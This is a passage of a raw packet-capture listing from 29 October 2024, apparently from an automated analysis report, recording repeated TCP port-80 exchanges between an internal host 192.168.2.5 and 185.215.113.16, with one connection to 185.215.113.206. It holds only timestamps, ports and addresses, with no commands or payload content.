Oct 29, 2024 05:02:35.122256994 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.122266054 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.122292042 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.122328043 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.166321039 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.166332006 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.166342974 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.166415930 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.198617935 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.198658943 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.198669910 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.198740959 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.198821068 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.198832989 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.198867083 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.198903084 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.198995113 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.199007034 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.199017048 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.199033976 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.199048996 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.199203014 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.199213028 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.199250937 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.199846029 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.199887037 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.199903011 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.199942112 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.241369009 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.241379023 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.241389990 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.241493940 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.241527081 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.241539001 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.241579056 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.241599083 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.241655111 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.241705894 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.241709948 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.241718054 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.241744041 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.241775036 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.285406113 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.285446882 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.285455942 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.285466909 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.285521984 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.285540104 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.317707062 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.317717075 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.317728043 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.317776918 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.317794085 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.317797899 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.317809105 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.317850113 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.318006039 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.318048954 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.318196058 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.318207026 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.318217039 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.318247080 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.318259001 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.318265915 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.318269968 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.318305016 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.318334103 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.360344887 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.360380888 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.360389948 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.360435963 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.360445976 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.360491037 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.360527992 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.360645056 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.360665083 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.360675097 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.360687971 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.360717058 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.361021996 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.361040115 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.361048937 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.361077070 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.361109972 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.404907942 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.404920101 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.404925108 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.405050993 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.436933041 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.436949015 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.436966896 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.436975956 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.436988115 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.436996937 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.437053919 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.437066078 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.437324047 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.437393904 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.437403917 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.437413931 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.437491894 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.437901020 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.437910080 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.437961102 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.479671955 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.479691029 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.479700089 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.479759932 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.479768991 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.479772091 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.479788065 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.479816914 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.479981899 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.480000019 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.480009079 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.480026007 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.480055094 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.480372906 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.480382919 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.480392933 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.480421066 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.480459929 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.524207115 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.524224997 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.524238110 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.524245977 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.524257898 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.524260998 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.524281979 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.524322033 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.556152105 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.556185007 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.556195021 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.556246996 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.556267977 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.556279898 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.556289911 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.556319952 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.556344032 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.556572914 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.556617975 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.556623936 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.556664944 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.556726933 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.556763887 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.556766033 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.556775093 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.556812048 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.598886967 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.598896980 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.598902941 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.598908901 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.598953009 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.598968983 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.599005938 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.599013090 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.599016905 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.599040985 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.599065065 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.599333048 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.599373102 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.599411964 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.599421978 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.599431038 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.599453926 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.599482059 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.643363953 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.643373966 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.643379927 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.643413067 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.643419027 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.643560886 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.643692017 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.643701077 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.643738985 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.643770933 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.643863916 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.643872976 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.643907070 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.643927097 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.675230980 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.675244093 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.675251007 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.675307989 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.675338984 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.675365925 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.675376892 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.675386906 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.675409079 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.675421953 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.675811052 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.675822020 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.675833941 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.675854921 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.675877094 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.718118906 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.718135118 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.718144894 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.718156099 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.718168020 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.718197107 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.718236923 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.718352079 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.718363047 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.718372107 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.718410015 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.718420029 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.718427896 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.718431950 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.718460083 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.718486071 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.758965015 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.758977890 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.759040117 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.762476921 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.762489080 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.762500048 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.762516022 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.762526035 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.762550116 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.762550116 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.762573004 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.762825966 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.762836933 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.762847900 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.762871981 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.762885094 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.794471979 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.794507027 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.794518948 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.794534922 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.794560909 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.794646025 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.794658899 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.794671059 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.794683933 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.794697046 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.794718981 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.794732094 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.794744968 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.794770956 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.837122917 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.837188005 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.837191105 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.837224007 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.837236881 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.837260008 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.837268114 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.837306976 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.837316990 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.837361097 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.837429047 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.837481976 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.837482929 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.837518930 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.837523937 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.837553024 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.837555885 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.837587118 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.837590933 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.837620974 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.881716013 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.881788015 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.881792068 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.881825924 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.881840944 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.881860971 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.881867886 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.881912947 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.882153988 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.882189035 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.882201910 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.882234097 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.882241964 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.882275105 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.882288933 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.882313013 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.882317066 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.882355928 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.882792950 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.882839918 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.913675070 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.913721085 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.913733006 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.913760900 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.913770914 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.913799047 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.913799047 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.913852930 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.913856030 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.913893938 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.913908005 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.913927078 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.913944006 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.913964033 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.913970947 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.914012909 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.956142902 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.956233978 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.956252098 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.956264973 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.956273079 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.956305027 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.956310034 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.956357002 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.956372023 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.956413031 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.956429958 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.956456900 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.956475973 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.956485987 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.956504107 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.956526041 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.957029104 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.957063913 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.957078934 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.957098007 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.957104921 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.957140923 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.000479937 CET	49799	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:02:36.001207113 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.001271009 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.001277924 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.001312017 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.001323938 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.001344919 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.001353979 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.001379967 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.001386881 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.001429081 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.001518011 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.001562119 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.001569986 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.001605034 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.001615047 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.001638889 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.001643896 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.001679897 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.001678944 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.001722097 CET	49778	80	192.168.2.5	185.215.113.16
